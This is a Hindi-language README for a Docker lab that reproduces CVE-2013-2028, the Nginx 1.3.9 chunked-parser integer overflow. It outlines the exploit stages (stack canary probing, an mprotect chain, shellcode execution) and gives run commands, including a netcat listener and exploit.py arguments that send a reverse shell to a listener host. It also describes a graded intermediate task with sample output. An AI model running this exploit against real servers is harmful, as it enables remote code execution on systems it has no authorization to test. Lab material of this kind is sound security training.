Docker-आधारित लैब और CVE-2013-2028 के लिए Python एक्सप्लॉइट, जो Nginx 1.3.9 chunked-parser integer overflow है, जिसमें canary recovery, mprotect, और shellcode execution शामिल हैं।
भेद्य सॉफ़्टवेयर: Nginx 1.3.9
भेद्य फ़ंक्शन: ngx_http_parse_chunked
CVE-2013-2028, Nginx के HTTP chunked transfer encoding पार्सर में एक integer overflow भेद्यता है। इस प्रयोगशाला वातावरण द्वारा लक्षित परिस्थितियों के अंतर्गत, यह भेद्यता मेमोरी करप्शन का कारण बन सकती है और इसका उपयोग नियंत्रण प्रवाह को प्रभावित करने के लिए किया जा सकता है।
यह रिपॉज़िटरी भेद्यता का अध्ययन करने और शोषण कार्यप्रवाह को पुनरुत्पादित करने के लिए एक पृथक Docker-आधारित वातावरण प्रदान करती है।
पूर्ण एक्सप्लॉइट में चार मुख्य चरण होते हैं:
Stack canary recovery
बाइट-दर-बाइट प्रोबिंग के माध्यम से stack canary को पुनर्प्राप्त करें।
Memory protection manipulation
प्रासंगिक पता जानकारी की गणना करें और नियंत्रित मेमोरी क्षेत्र पर mprotect को आमंत्रित करने के लिए आवश्यक नियंत्रण-प्रवाह अनुक्रम का निर्माण करें।
Shellcode placement
payload को नियंत्रित मेमोरी क्षेत्र में कॉपी करें।
Control-flow transfer
निष्पादन को नियंत्रित मेमोरी क्षेत्र में स्थानांतरित करें।
पूर्ण एक्सप्लॉइट भेद्य पार्सर को ट्रिगर करने से लेकर मेमोरी करप्शन और नियंत्रण-प्रवाह हेरफेर के माध्यम से नियंत्रित कोड निष्पादन तक की प्रगति को प्रदर्शित करता है।
exploit.py द्वारा आवश्यक Python निर्भरताएँnetcatहोस्ट सिस्टम पर, कॉन्फ़िगर किए गए पोर्ट पर एक लिसनर प्रारंभ करें:
nc -lvp 4345
एक्सप्लॉइट चलाते समय --listenerport (-lp) तर्क के साथ वही पोर्ट उपयोग करें।
Docker वातावरण बनाएँ और प्रारंभ करें:
sudo docker-compose up --build
भेद्य लक्ष्य कंटेनर के अंदर Nginx 1.3.9 चलाता है।
आप Nginx संस्करण को इस प्रकार सत्यापित कर सकते हैं:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
चलाएँ:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
एक्सप्लॉइट भेद्य लक्ष्य को अंतिम payload भेजने से पहले canary-recovery और payload-construction चरणों को निष्पादित करता है।
यदि पहले से पुनर्प्राप्त canary उपलब्ध है, तो इसे इस प्रकार प्रदान किया जा सकता है:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
रिपॉज़िटरी भेद्यता-अनुसंधान कार्यप्रवाह के माध्यम से प्रगति का मूल्यांकन करने के लिए एक मध्यवर्ती कार्य भी प्रदान करती है।
चलाएँ:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
मध्यवर्ती कार्य अपनी जाँच सीधे चल रहे Docker लक्ष्य के विरुद्ध करता है। यह मैन्युअल रूप से बनाई गई साक्ष्य फ़ाइलों या मैन्युअल रूप से प्रदान किए गए JSON दावों पर निर्भर नहीं करता है।
यह कार्य दो क्षेत्रों को सत्यापित करता है:
यह कार्य:
यह कार्य:
nginx -t का उपयोग करके Nginx कॉन्फ़िगरेशन को सत्यापित करता है।कॉन्फ़िगरेशन जाँच यह स्थापित करती है कि Nginx कॉन्फ़िगरेशन वाक्यात्मक रूप से मान्य है। इसे अपने आप में CVE-2013-2028 के शमन का प्रमाण नहीं माना जाना चाहिए।
उदाहरण आउटपुट:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
मध्यवर्ती कार्य इन रनटाइम जाँचों के परिणामों को यहाँ संग्रहीत करता है:
grader_state.json
यह फ़ाइल केवल जाँचों द्वारा उत्पन्न स्थिति को बनाए रखने के लिए उपयोग की जाती है। यह भेद्यता निर्धारण का स्रोत नहीं है।
प्रयोगशाला वातावरण जानबूझकर Nginx 1.3.9 का उपयोग करता है, जो CVE-2013-2028 से प्रभावित एक पुरानी Nginx रिलीज़ है।
Docker वातावरण भेद्यता अनुसंधान और शोषण अभ्यासों के लिए एक पृथक लक्ष्य प्रदान करता है। भेद्य सेवा तक केवल प्रयोगशाला कॉन्फ़िगरेशन द्वारा उजागर इंटरफ़ेस के माध्यम से ही पहुँचा जाना चाहिए।
यह रिपॉज़िटरी केवल एक पृथक प्रयोगशाला वातावरण में शैक्षिक और अधिकृत सुरक्षा-अनुसंधान उद्देश्यों के लिए है।
उन सिस्टमों के विरुद्ध एक्सप्लॉइट न चलाएँ जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।